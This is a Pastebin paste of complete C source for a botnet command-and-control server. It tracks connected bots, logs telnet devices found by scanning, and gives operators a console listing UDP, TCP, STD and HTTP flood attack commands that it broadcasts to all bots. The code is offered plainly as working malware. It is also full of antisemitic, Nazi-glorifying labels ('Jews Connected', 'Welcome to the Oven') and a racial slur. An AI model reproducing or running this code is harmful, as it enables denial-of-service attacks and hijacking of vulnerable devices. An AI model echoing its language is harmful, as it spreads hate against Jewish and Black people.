AvengeVPS

Jew Botnet Serverside

Feb 27th, 2018
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <inttypes.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17. #define MAXFDS 1000000
  18. //////////////////////////////////
  19. struct login_info {
  20. char username[20];
  21. char password[20];
  22. };
  23. static struct login_info accounts[22];
  24. struct clientdata_t {
  25. uint32_t ip;
  26. char connected;
  27. } clients[MAXFDS];
  28. struct telnetdata_t {
  29. int connected;
  30. } managements[MAXFDS];
  31. struct args {
  32. int sock;
  33. struct sockaddr_in cli_addr;
  34. };
  35. static volatile FILE *telFD;
  36. static volatile FILE *fileFD;
  37. static volatile int epollFD = 0;
  38. static volatile int listenFD = 0;
  39. static volatile int OperatorsConnected = 0;
  40. static volatile int TELFound = 0;
  41. static volatile int scannerreport;
  42. //////////////////////////////////
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  44. int total = 0, got = 1;
  45. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  46. return got;
  47. }
  48. void trim(char *str) {
  49. int i;
  50. int begin = 0;
  51. int end = strlen(str) - 1;
  52. while (isspace(str[begin])) begin++;
  53. while ((end >= begin) && isspace(str[end])) end--;
  54. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  55. str[i - begin] = '\0';
  56. }
  57. static int make_socket_non_blocking (int sfd) {
  58. int flags, s;
  59. flags = fcntl (sfd, F_GETFL, 0);
  60. if (flags == -1) {
  61. perror ("fcntl");
  62. return -1;
  63. }
  64. flags |= O_NONBLOCK;
  65. s = fcntl (sfd, F_SETFL, flags);
  66. if (s == -1) {
  67. perror ("fcntl");
  68. return -1;
  69. }
  70. return 0;
  71. }
  72. static int create_and_bind (char *port) {
  73. struct addrinfo hints;
  74. struct addrinfo *result, *rp;
  75. int s, sfd;
  76. memset (&hints, 0, sizeof (struct addrinfo));
  77. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  78. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  79. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  80. s = getaddrinfo (NULL, port, &hints, &result);
  81. if (s != 0) {
  82. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  83. return -1;
  84. }
  85. for (rp = result; rp != NULL; rp = rp->ai_next) {
  86. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  87. if (sfd == -1) continue;
  88. int yes = 1;
  89. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  90. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  91. if (s == 0) {
  92. break;
  93. }
  94. close (sfd);
  95. }
  96. if (rp == NULL) {
  97. fprintf (stderr, "Could not bind\n");
  98. return -1;
  99. }
  100. freeaddrinfo (result);
  101. return sfd;
  102. }
  103. void broadcast(char *msg, int us, char *sender)
  104. {
  105. int sendMGM = 1;
  106. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  107. char *wot = malloc(strlen(msg) + 10);
  108. memset(wot, 0, strlen(msg) + 10);
  109. strcpy(wot, msg);
  110. trim(wot);
  111. time_t rawtime;
  112. struct tm * timeinfo;
  113. time(&rawtime);
  114. timeinfo = localtime(&rawtime);
  115. char *timestamp = asctime(timeinfo);
  116. trim(timestamp);
  117. int i;
  118. for(i = 0; i < MAXFDS; i++)
  119. {
  120. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  121. if(sendMGM && managements[i].connected)
  122. {
  123. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  124. send(i, sender, strlen(sender), MSG_NOSIGNAL); // NTP: SS
  125. send(i, ": ", 2, MSG_NOSIGNAL);
  126. }
  127. printf("sent to fd: %d\n", i);
  128. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  129. if(sendMGM && managements[i].connected) send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  130. else send(i, "\n", 1, MSG_NOSIGNAL);
  131. }
  132. free(wot);
  133. }
  134. void *BotEventLoop(void *useless) {
  135. struct epoll_event event;
  136. struct epoll_event *events;
  137. int s;
  138. events = calloc (MAXFDS, sizeof event);
  139. while (1) {
  140. int n, i;
  141. n = epoll_wait (epollFD, events, MAXFDS, -1);
  142. for (i = 0; i < n; i++) {
  143. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  144. clients[events[i].data.fd].connected = 0;
  145. close(events[i].data.fd);
  146. continue;
  147. }
  148. else if (listenFD == events[i].data.fd) {
  149. while (1) {
  150. struct sockaddr in_addr;
  151. socklen_t in_len;
  152. int infd, ipIndex;
  153.  
  154. in_len = sizeof in_addr;
  155. infd = accept (listenFD, &in_addr, &in_len);
  156. if (infd == -1) {
  157. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  158. else {
  159. perror ("accept");
  160. break;
  161. }
  162. }
  163.  
  164. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  165. int dup = 0;
  166. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  167. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  168. if(clients[ipIndex].ip == clients[infd].ip) {
  169. dup = 1;
  170. break;
  171. }}
  172. if(dup) {
  173. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  174. close(infd);
  175. continue;
  176. }
  177. s = make_socket_non_blocking (infd);
  178. if (s == -1) { close(infd); break; }
  179. event.data.fd = infd;
  180. event.events = EPOLLIN | EPOLLET;
  181. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  182. if (s == -1) {
  183. perror ("epoll_ctl");
  184. close(infd);
  185. break;
  186. }
  187. clients[infd].connected = 1;
  188. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  189. }
  190. continue;
  191. }
  192. else {
  193. int datafd = events[i].data.fd;
  194. struct clientdata_t *client = &(clients[datafd]);
  195. int done = 0;
  196. client->connected = 1;
  197. while (1) {
  198. ssize_t count;
  199. char buf[2048];
  200. memset(buf, 0, sizeof buf);
  201. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  202. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  203. trim(buf);
  204. if(strcmp(buf, "PING") == 0) {
  205. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  206. continue;
  207. }
  208. if(strstr(buf, "REPORT ") == buf) {
  209. char *line = strstr(buf, "REPORT ") + 7;
  210. fprintf(telFD, "%s\n", line);
  211. fflush(telFD);
  212. TELFound++;
  213. continue;
  214. }
  215. if(strstr(buf, "PROBING") == buf) {
  216. char *line = strstr(buf, "PROBING");
  217. scannerreport = 1;
  218. continue;
  219. }
  220. if(strstr(buf, "REMOVING PROBE") == buf) {
  221. char *line = strstr(buf, "REMOVING PROBE");
  222. scannerreport = 0;
  223. continue;
  224. }
  225. if(strcmp(buf, "PONG") == 0) {
  226. continue;
  227. }
  228. printf("buf: \"%s\"\n", buf);
  229. }
  230. if (count == -1) {
  231. if (errno != EAGAIN) {
  232. done = 1;
  233. }
  234. break;
  235. }
  236. else if (count == 0) {
  237. done = 1;
  238. break;
  239. }
  240. if (done) {
  241. client->connected = 0;
  242. close(datafd);
  243. }
  244. }
  245. }
  246. }
  247. }
  248. }
  249. unsigned int BotsConnected() {
  250. int i = 0, total = 0;
  251. for(i = 0; i < MAXFDS; i++) {
  252. if(!clients[i].connected) continue;
  253. total++;
  254. }
  255. return total;
  256. }
  257. void *TitleWriter(void *sock) {
  258. int datafd = (int)sock;
  259. char string[2048];
  260. while(1) {
  261. memset(string, 0, 2048);
  262. sprintf(string, "%c]0;Jews Connected: %d | Nazis Online: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  263. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  264. sleep(2);
  265. }}
  266. int Find_Login(char *str) {
  267. FILE *fp;
  268. int line_num = 0;
  269. int find_result = 0, find_line=0;
  270. char temp[512];
  271.  
  272. if((fp = fopen("login.txt", "r")) == NULL){
  273. return(-1);
  274. }
  275. while(fgets(temp, 512, fp) != NULL){
  276. if((strstr(temp, str)) != NULL){
  277. find_result++;
  278. find_line = line_num;
  279. }
  280. line_num++;
  281. }
  282. if(fp)
  283. fclose(fp);
  284. if(find_result == 0)return 0;
  285. return find_line;
  286. }
  287. void *BotWorker(void *sock) {
  288. int datafd = (int)sock;
  289. int find_line;
  290. OperatorsConnected++;
  291. pthread_t title;
  292. char buf[2048];
  293. char* username;
  294. char* password;
  295. memset(buf, 0, sizeof buf);
  296. char botnet[2048];
  297. memset(botnet, 0, 2048);
  298.  
  299. FILE *fp;
  300. int i=0;
  301. int c;
  302. fp=fopen("login.txt", "r");
  303. while(!feof(fp)) {
  304. c=fgetc(fp);
  305. ++i;
  306. }
  307. int j=0;
  308. rewind(fp);
  309. while(j!=i-1) {
  310. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  311. ++j;
  312. }
  313.  
  314. if(send(datafd, "\x1b[37mUsername: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  315. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  316. trim(buf);
  317. char* nickstring;
  318. sprintf(accounts[find_line].username, buf);
  319. nickstring = ("%s", buf);
  320. find_line = Find_Login(nickstring);
  321. if(strcmp(nickstring, accounts[find_line].username) == 0){
  322. if(send(datafd, "\x1b[37mPassword: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  323. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  324. trim(buf);
  325. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  326. memset(buf, 0, 2048);
  327. goto Banner;
  328. }
  329. failed:
  330. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  331. char failed_line1[80];
  332. char ascii_failed_line1 [80];
  333. char ascii_failed_line2 [80];
  334. char ascii_failed_line3 [80];
  335. char ascii_failed_line4 [80];
  336. char ascii_failed_line5 [80];
  337. char ascii_failed_line6 [80];
  338. char ascii_failed_line7 [80];
  339. char ascii_failed_line8 [80];
  340. char ascii_failed_line9 [80];
  341.  
  342. sprintf(ascii_failed_line1, "\x1b[31m _______ __ __ ________ _______ __ __ ________ \r\n");
  343. sprintf(ascii_failed_line2, "\x1b[31m/ \ / \ / |/ | / \ / \ / |/ |\r\n");
  344. sprintf(ascii_failed_line3, "\x1b[31m$$$$$$$ |$$ \ /$$/ $$$$$$$$/ $$$$$$$ |$$ \ /$$/ $$$$$$$$/ \r\n");
  345. sprintf(ascii_failed_line4, "\x1b[31m$$ |__$$ | $$ \/$$/ $$ |__ $$ |__$$ | $$ \/$$/ $$ |__ \r\n");
  346. sprintf(ascii_failed_line5, "\x1b[31m$$ $$< $$ $$/ $$ | $$ $$< $$ $$/ $$ | \r\n");;
  347. sprintf(ascii_failed_line6, "\x1b[31m$$$$$$$ | $$$$/ $$$$$/ $$$$$$$ | $$$$/ $$$$$/ \r\n");
  348. sprintf(ascii_failed_line7, "\x1b[31m$$ |__$$ | $$ | $$ |_____ $$ |__$$ | $$ | $$ |_____ \r\n");
  349. sprintf(ascii_failed_line8, "\x1b[31m$$ $$/ $$ | $$ | $$ $$/ $$ | $$ |\r\n");
  350. sprintf(ascii_failed_line9, "\x1b[31m$$$$$$$/ $$/ $$$$$$$$/ $$$$$$$/ $$/ $$$$$$$$/ \r\n");
  351.  
  352. sprintf(failed_line1, "\r\n\x1b[31m :( \r\n");
  353.  
  354. if(send(datafd, ascii_failed_line1, strlen(ascii_failed_line1), MSG_NOSIGNAL) == -1) goto end;
  355. if(send(datafd, ascii_failed_line2, strlen(ascii_failed_line2), MSG_NOSIGNAL) == -1) goto end;
  356. if(send(datafd, ascii_failed_line3, strlen(ascii_failed_line3), MSG_NOSIGNAL) == -1) goto end;
  357. if(send(datafd, ascii_failed_line4, strlen(ascii_failed_line4), MSG_NOSIGNAL) == -1) goto end;
  358. if(send(datafd, ascii_failed_line5, strlen(ascii_failed_line5), MSG_NOSIGNAL) == -1) goto end;
  359. if(send(datafd, ascii_failed_line6, strlen(ascii_failed_line6), MSG_NOSIGNAL) == -1) goto end;
  360. if(send(datafd, ascii_failed_line7, strlen(ascii_failed_line7), MSG_NOSIGNAL) == -1) goto end;
  361. if(send(datafd, ascii_failed_line8, strlen(ascii_failed_line8), MSG_NOSIGNAL) == -1) goto end;
  362. if(send(datafd, ascii_failed_line9, strlen(ascii_failed_line9), MSG_NOSIGNAL) == -1) goto end;
  363.  
  364. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  365. sleep(5);
  366. goto end;
  367.  
  368. Banner:
  369. pthread_create(&title, NULL, &TitleWriter, sock);
  370. char ascii_banner_line1 [5000];
  371. char ascii_banner_line2 [5000];
  372. char ascii_banner_line3 [5000];
  373. char ascii_banner_line4 [5000];
  374. char ascii_banner_line5 [5000];
  375. char ascii_banner_line6 [5000];
  376. char ascii_banner_line7 [5000];
  377. char ascii_banner_line8 [5000];
  378. char ascii_banner_line9 [5000];
  379. char ascii_banner_line10 [5000];
  380. char ascii_banner_line11 [5000];
  381. char welcome_line [80];
  382. char banner_bot_count [2048];
  383. memset(banner_bot_count, 0, 2048);
  384.  
  385. sprintf(ascii_banner_line1, "\x1b[35m ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄\r\n");
  386. sprintf(ascii_banner_line2, "\x1b[35m▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌\r\n");
  387. sprintf(ascii_banner_line3, "\x1b[35m ▀▀▀▀▀█░█▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌▐░█▀▀▀▀▀▀▀▀▀\r\n");
  388. sprintf(ascii_banner_line4, "\x1b[35m ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌\r\n");
  389. sprintf(ascii_banner_line5, "\x1b[35m ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▄ ▐░▌▐░█▄▄▄▄▄▄▄▄▄ \r\n");
  390. sprintf(ascii_banner_line6, "\x1b[35m ▐░▌ ▐░░░░░░░░░░░▌▐░▌ ▐░▌ ▐░▌▐░░░░░░░░░░░▌\r\n");
  391. sprintf(ascii_banner_line7, "\x1b[35m ▐░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌░▌ ▐░▌ ▀▀▀▀▀▀▀▀▀█░▌\r\n");
  392. sprintf(ascii_banner_line8, "\x1b[35m ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌\r\n");
  393. sprintf(ascii_banner_line9, "\x1b[35m ▄▄▄▄▄█░▌ ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌░▌ ▐░▐░▌ ▄▄▄▄▄▄▄▄▄█░▌\r\n");
  394. sprintf(ascii_banner_line10, "\x1b[35m▐░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░▌ ▐░░▌▐░░░░░░░░░░░▌\r\n");
  395. sprintf(ascii_banner_line11, "\x1b[35m ▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀▀▀▀▀▀\r\n");
  396. sprintf(welcome_line, "\r\n\x1b[37m [+]\x1b[31mWelcome to the Oven\x1b[37m[+]\r\n", accounts[find_line].username);
  397. sprintf(banner_bot_count, "\x1b[37m [+]\x1b[34mType DDOS To List The Commands\x1b[37m[+]\r\n", BotsConnected(), OperatorsConnected);
  398.  
  399. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  400. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  401. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  402. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  403. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  404. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  405. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  406. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  407. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  408. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  409. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  410. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  411. while(1) {
  412. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  413. if(send(datafd, "\x1b[37m~~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  414. break;
  415. }
  416. pthread_create(&title, NULL, &TitleWriter, sock);
  417. managements[datafd].connected = 1;
  418.  
  419. while(fdgets(buf, sizeof buf, datafd) > 0)
  420. {
  421. if(strstr(buf, "BOTS")) {
  422. char botcount [2048];
  423. memset(botcount, 0, 2048);
  424. sprintf(botcount, "\x1b[37m[+] Jews: [\x1b[31m %d \x1b[37m] [+] Nazis: [\x1b[31m %d \x1b[37m]\r\n", BotsConnected(), OperatorsConnected);
  425. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  426. if(send(datafd, "\x1b[37m~~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  427. continue;
  428. }
  429. if(strstr(buf, "STATUS")){
  430. char statuscount [2048];
  431. memset(statuscount, 0, 2048);
  432. sprintf(statuscount, "\x1b[37m[+] ~ Devices: [\x1b[31m %d \x1b[37m] [+] ~ Status: [\x1b[31m %d \x1b[37m]\r\n", TELFound, scannerreport);
  433. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  434. if(send(datafd, "\x1b[37m~~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  435. continue;
  436. }
  437. if(strstr(buf, "DDOS")) {
  438. pthread_create(&title, NULL, &TitleWriter, sock);
  439. char helpline1 [80];
  440. char helpline2 [80];
  441. char helpline3 [80];
  442. char helpline4 [80];
  443. char helpline5 [80];
  444. char helpline6 [80];
  445. char helpline7 [80];
  446. char helpline8 [80];
  447. char helpline9 [80];
  448. char helpline10 [80];
  449. char helpline11 [80];
  450. char helpline12 [80];
  451. char helpline13 [80];
  452. char helpline14 [80];
  453.  
  454. sprintf(helpline1, " \r\n\x1b[37m [+] \x1b[31mATTACK COMMANDS\x1b[37m [+]\r\n\r\n");
  455. sprintf(helpline2, " \x1b[37m[+] UDP [+] \x1b[31m!* UDP IP PORT TIME 32 0 10\r\n");
  456. sprintf(helpline3, " \x1b[31m[+] TCP [+] \x1b[32m!* TCP IP PORT TIME 32 all 0 10\r\n");
  457. sprintf(helpline4, " \x1b[37m[+] STD [+] \x1b[33m!* STD IP PORT TIME\r\n");
  458. sprintf(helpline5, " \x1b[31m[+] HTTP [+] \x1b[34m!* HTTPFLOOD Post IP PORT /index.html 30 10000\r\n");
  459. sprintf(helpline6, " \x1b[37m[+] Kills Attack [+] \x1b[31mKILL\r\n");
  460. sprintf(helpline7, " \r\n\x1b[31m [+] \x1b[31mEXTRA COMMANDS\x1b[37m [+]\r\n\r\n");
  461. sprintf(helpline8, " \x1b[37m[+] BOTS [+] | \x1b[32mSHOWS BOT COUNT\r\n");
  462. sprintf(helpline9, " \x1b[31m[+] CLEAR [+] | \x1b[33mCLEARS SCREEN\r\n");
  463. sprintf(helpline10, " \x1b[31m[+] STATUS [+] | \x1b[34mSHOWS TELNET DEVICES & STATUS\r\n");
  464. sprintf(helpline11, " \x1b[37m[+] LOGOUT [+] | \x1b[31mLOGS USER OUT\r\n");
  465. sprintf(helpline12, " \r\n\x1b[31m [+] \x1b[31mSCANNING COMMANDS\x1b[37m [+]\r\n\r\n");
  466. sprintf(helpline13, " \x1b[37m[+] TELNET SCANNER ON [+] \x1b[31m!* SCANNER ON\r\n");
  467. sprintf(helpline14, " \x1b[31m[+] TELNET SCANNER OFF [+] \x1b[31m!* SCANNER OFF\r\n");
  468.  
  469. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  470. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  471. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  472. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  473. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  474. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  475. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  476. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  477. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  478. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  479. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  480. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  481. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  482. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  483. pthread_create(&title, NULL, &TitleWriter, sock);
  484. if(send(datafd, "\x1b[37m~~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  485. continue;
  486. }
  487. if(strstr(buf, "KILL")) {
  488. char killattack [2048];
  489. memset(killattack, 0, 2048);
  490. sprintf(killattack, "!* KILLATTK\r\n");
  491. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  492. if(send(datafd, "\x1b[37m~~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  493. continue;
  494. }
  495. if(strstr(buf, "CLEAR")) {
  496. char clearscreen [2048];
  497. memset(clearscreen, 0, 2048);
  498. sprintf(clearscreen, "\033[2J\033[1;1H");
  499. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  500. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  501. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  502. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  503. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  504. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  505. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  506. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  507. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  508. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  509. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  510. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  511. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  512. while(1) {
  513. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  514. if(send(datafd, "\x1b[37m~~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  515. break;
  516. }
  517. continue;
  518. }
  519.  
  520. if(strstr(buf, "LOGOUT")) {
  521. char logoutmessage [2048];
  522. memset(logoutmessage, 0, 2048);
  523. sprintf(logoutmessage, "Till' Next Time, %s", accounts[find_line].username);
  524. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  525. sleep(5);
  526. goto end;
  527. }
  528. trim(buf);
  529. if(send(datafd, "\x1b[37m~~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  530. if(strlen(buf) == 0) continue;
  531. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  532.  
  533. FILE *LogFile;
  534. LogFile = fopen("server.log", "a");
  535. time_t now;
  536. struct tm *gmt;
  537. char formatted_gmt [50];
  538. char lcltime[50];
  539. now = time(NULL);
  540. gmt = gmtime(&now);
  541. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  542. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  543. fclose(LogFile);
  544. broadcast(buf, datafd, accounts[find_line].username);
  545. memset(buf, 0, 2048);
  546. }
  547. end:
  548. managements[datafd].connected = 0;
  549. close(datafd);
  550. OperatorsConnected--;
  551. }
  552. void *BotListener(int port) {
  553. int sockfd, newsockfd;
  554. socklen_t clilen;
  555. struct sockaddr_in serv_addr, cli_addr;
  556. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  557. if (sockfd < 0) perror("ERROR opening socket");
  558. bzero((char *) &serv_addr, sizeof(serv_addr));
  559. serv_addr.sin_family = AF_INET;
  560. serv_addr.sin_addr.s_addr = INADDR_ANY;
  561. serv_addr.sin_port = htons(port);
  562. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  563. listen(sockfd,5);
  564. clilen = sizeof(cli_addr);
  565. while(1) {
  566. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  567. if (newsockfd < 0) perror("ERROR on accept");
  568. pthread_t thread;
  569. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  570. }}
  571. int main (int argc, char *argv[], void *sock)
  572. {
  573. signal(SIGPIPE, SIG_IGN);
  574. int s, threads, port;
  575. struct epoll_event event;
  576. if (argc != 4) {
  577. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  578. exit (EXIT_FAILURE);
  579. }
  580. port = atoi(argv[3]);
  581. telFD = fopen("telnet.txt", "a+");
  582. threads = atoi(argv[2]);
  583. listenFD = create_and_bind (argv[1]);
  584. if (listenFD == -1) abort ();
  585. s = make_socket_non_blocking (listenFD);
  586. if (s == -1) abort ();
  587. s = listen (listenFD, SOMAXCONN);
  588. if (s == -1) {
  589. perror ("listen");
  590. abort ();
  591. }
  592. epollFD = epoll_create1 (0);
  593. if (epollFD == -1) {
  594. perror ("epoll_create");
  595. abort ();
  596. }
  597. event.data.fd = listenFD;
  598. event.events = EPOLLIN | EPOLLET;
  599. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  600. if (s == -1) {
  601. perror ("epoll_ctl");
  602. abort ();
  603. }
  604. pthread_t thread[threads + 2];
  605. while(threads--) {
  606. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  607. }
  608. pthread_create(&thread[0], NULL, &BotListener, port);
  609. while(1) {
  610. broadcast("PING", -1, "NIGGER");
  611. sleep(60);
  612. }
  613. close (listenFD);
  614. return EXIT_SUCCESS;
  615. }
Add Comment
Please, Sign In to add comment